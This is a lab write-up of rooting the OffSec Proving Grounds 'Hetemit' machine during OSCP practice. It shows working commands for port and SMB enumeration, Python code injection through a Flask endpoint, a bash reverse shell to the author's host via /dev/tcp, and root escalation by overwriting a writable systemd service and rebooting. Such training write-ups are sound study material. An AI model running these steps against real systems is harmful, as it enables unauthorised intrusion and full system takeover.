OffSec Proving Grounds: Hetemit - Walkthrough

This post contains rough notes explaining my process for exploiting the Hetemit Proving Grounds box while preparing for the OSCP certification.

My Process

Firstly I ran a port scan with nmap:

  sudo nmap -p- -T4 -A -sS --open 192.168.227.117
# Nmap 7.94 scan initiated Sat Sep  2 16:44:42 2023 as: nmap -p- -T4 -A -sS -v --open -oA nmap 192.168.227.117
Nmap scan report for 192.168.227.117
Host is up (0.20s latency).
Not shown: 65529 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.45.229
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
|   256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
|_  256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
50000/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.6.8)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
Device type: general purpose|storage-misc|firewall|webcam
Running (JUST GUESSING): Linux 4.X|3.X|2.6.X (91%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (85%), Tandberg embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/h:tandberg:vcs
Aggressive OS guesses: Linux 4.4 (91%), Linux 3.10 - 3.12 (90%), Linux 4.9 (89%), Linux 4.0 (87%), Linux 3.11 - 4.1 (86%), Linux 3.10 - 3.16 (86%), Linux 2.6.32 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 36.862 days (since Thu Jul 27 20:08:44 2023)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix

Host script results:
| smb2-time:
|   date: 2023-09-02T04:48:51
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -1s

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   204.39 ms 192.168.45.1
2   204.35 ms 192.168.45.254
3   205.01 ms 192.168.251.1
4   204.83 ms 192.168.227.117

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep  2 16:49:29 2023 -- 1 IP address (1 host up) scanned in 287.63 seconds
  expand
expand
Bash

Then I tried to enumerate SMB shares using null authentication.

  crackmapexec smb 192.168.227.117 -u '' -p '' --shares
SMB         192.168.227.117 445    HETEMIT          [*] Windows 6.1 Build 0 (name:HETEMIT) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.227.117 445    HETEMIT          [+] \:
SMB         192.168.227.117 445    HETEMIT          [+] Enumerated shares
SMB         192.168.227.117 445    HETEMIT          Share           Permissions     Remark
SMB         192.168.227.117 445    HETEMIT          -----           -----------     ------
SMB         192.168.227.117 445    HETEMIT          print$                          Printer Drivers
SMB         192.168.227.117 445    HETEMIT          Cmeeks                          cmeeks Files
SMB         192.168.227.117 445    HETEMIT          IPC$                            IPC Service (Samba 4.11.2)
Bash

The null authentication was successful and when listing the shares other than the standard SMB shares there was an additional share called Cmeeks.
So I tried to connect to this share using smbclient.

  smbclient //192.168.227.117/Cmeeks
Password for [WORKGROUP\leo]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \>
Bash

Unfortunately we have no read or write permissions.

I then connected to FTP using anonymous authentication. Again, I could authenticate anonymously but had no read or write permissions.

So the next interesting port to focus on was port 50000 which nmap identified as a Werkzeug (flask) HTTP server.

I connected to the port in my browser and was returned the potential endpoints /verify and /generate:

The verify endpoint returned a response indicating that it accepted a parameter called code.
So I tried to add a HTTP GET parameter called code:

This still returned the same response.

The next step was to try sending the code parameter as an HTTP post parameter.
To do that I used burp and changed the HTTP request method to a post request:

The server then returned a 500 error, so maybe the code triggered an exception.

I then tried to insert some Python code since Werkzeug runs on Python:

This returns None which indicates that the server is executing the code parameter and displaying what the function returns since the print() function returns None.

I confirmed this by trying to execute some code that would return True (None==None):

True is returned confirming we have code execution.

Next I inserted some python code to execute System commands using the os module. I attempted to execute the wget command and reach back to my own HTTP server so that I could observe if the command was executed successfully:

I received a connection back to my webserver which showed I had command execution:

  sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.227.117 - - [02/Sep/2023 18:25:24] code 404, message File not found
192.168.227.117 - - [02/Sep/2023 18:25:24] "GET /test HTTP/1.1" 404 -
Bash

At this point I used the command execution to get a bash reverse shell:

And I received the shell as the user cmeeks:

  nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.229] from (UNKNOWN) [192.168.227.117] 36708
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$ whoami
whoami
cmeeks
Bash

I ran sudo -l and saw that I had privileges to reboot the machine, which I noted as being intersting. If there was a overwritable service then having this privilege would allow me to reboot the system and when the system reboots the service would execute my command.

  [cmeeks@hetemit ~]$ sudo -l
sudo -l
Matching Defaults entries for cmeeks on hetemit:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
Bash

I looked into the local services running:

  [cmeeks@hetemit restjson_hetemit]$ netstat -anlp
netstat -anlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:18000           0.0.0.0:*               LISTEN      1020/puma 4.3.6 (tc
tcp        0      0 0.0.0.0:50000           0.0.0.0:*               LISTEN      1022/python3.6
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp        0      0 192.168.227.117:50000   192.168.45.229:41038    ESTABLISHED 1022/python3.6
tcp        0      0 192.168.227.117:36708   192.168.45.229:80       ESTABLISHED 122263/bash
tcp        0      0 192.168.227.117:51014   192.168.45.229:22       ESTABLISHED 122631/ssh
tcp        0    139 192.168.227.117:59888   192.168.45.229:21       ESTABLISHED 122648/bash
tcp        1      0 192.168.227.117:50000   192.168.45.229:43920    CLOSE_WAIT  1022/python3.6
tcp6       0      0 :::445                  :::*                    LISTEN      -
tcp6       0      0 :::5355                 :::*                    LISTEN      -
tcp6       0      0 :::139                  :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 127.0.0.1:43404         127.0.0.1:43404         ESTABLISHED -
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           -
udp6       0      0 :::5355                 :::*                                -
raw6       0      0 :::58                   :::*                    7           -
Bash

I was curious about the local service running on port 18000 so I started an ssh remote port forward with my kali machine:

  [cmeeks@hetemit restjson_hetemit]$ ssh -N -R 127.0.0.1:8000:127.0.0.1:18000 leo@192.168.45.229
The authenticity of host '192.168.45.229 (192.168.45.229)' can't be established.
ECDSA key fingerprint is SHA256:YJptmZS+Cy7dR1m9KUljL/0oK9nE95OFQoiQ7q3MTzo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.45.229' (ECDSA) to the list of known hosts.
Bash

This then allowed me to connect to the service through my browser:

This was intersting but since the web service on port 18000 was being run from the user cmeeks, exploiting this service didnt seem like it would offer a path to escalate privileges to root.

So I then focused on finding an overwritable system service that I could use to trigger a command with my reboot privilege.

I used find to recursively search for writable files in the /etc directory. This revealed that the pythonapp.service was writable. Inspecting this service file showed that it was currently executing the flask command as the user cmeeks. So if I changed this to execute a reverse shell command as the root user then it would be executed when the server got rebooted.

  [cmeeks@hetemit restjson_hetemit]$ find /etc -writable 2>/dev/null
find /etc -writable 2>/dev/null
/etc/systemd/system/multi-user.target.wants/pythonapp.service
/etc/systemd/system/systemd-timedated.service
/etc/systemd/system/pythonapp.service
[cmeeks@hetemit restjson_hetemit]$ cat /etc/systemd/system/pythonapp.service
cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
TimeoutSec=30
RestartSec=15s
User=cmeeks
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target
Bash

I created a script that had a reverse shell payload in it and saved it to as /home/cmeeks/revshell.sh.

#!/bin/bash
bash -i >& /dev/tcp/192.168.45.229/80 0>&1
Bash

I then gave the script execute permissions:

  [cmeeks@hetemit ~]$ chmod +x /home/cmeeks/revshell.sh
Bash

Then I used echo to write the updated service file to the /etc/systemd/system/pythonapp.service file. I changed the ExecStart and User values to execute the reverse shell script as the root user.

  [cmeeks@hetemit ~]$ echo "[Unit]
>Description=Python App
>After=network-online.target
>
>[Service]
>Type=simple
>WorkingDirectory=/home/cmeeks/restjson_hetemit
>ExecStart=/home/cmeeks/revshell.sh
>TimeoutSec=30
>RestartSec=15s
>User=root
>ExecReload=/bin/kill -USR1 $MAINPID
>Restart=on-failure
>
>[Install]
>WantedBy=multi-user.target
> " > /etc/systemd/system/pythonapp.service
Bash

Then I rebooted the machine using my sudo access:

  [cmeeks@hetemit ~]$ sudo /sbin/reboot
Bash

On my kali machine I listened for the reverse shell. When I received the reverse shell I had a shell as the root user:

  nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.229] from (UNKNOWN) [192.168.227.117] 55198
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]# whoami
whoami
root
Bash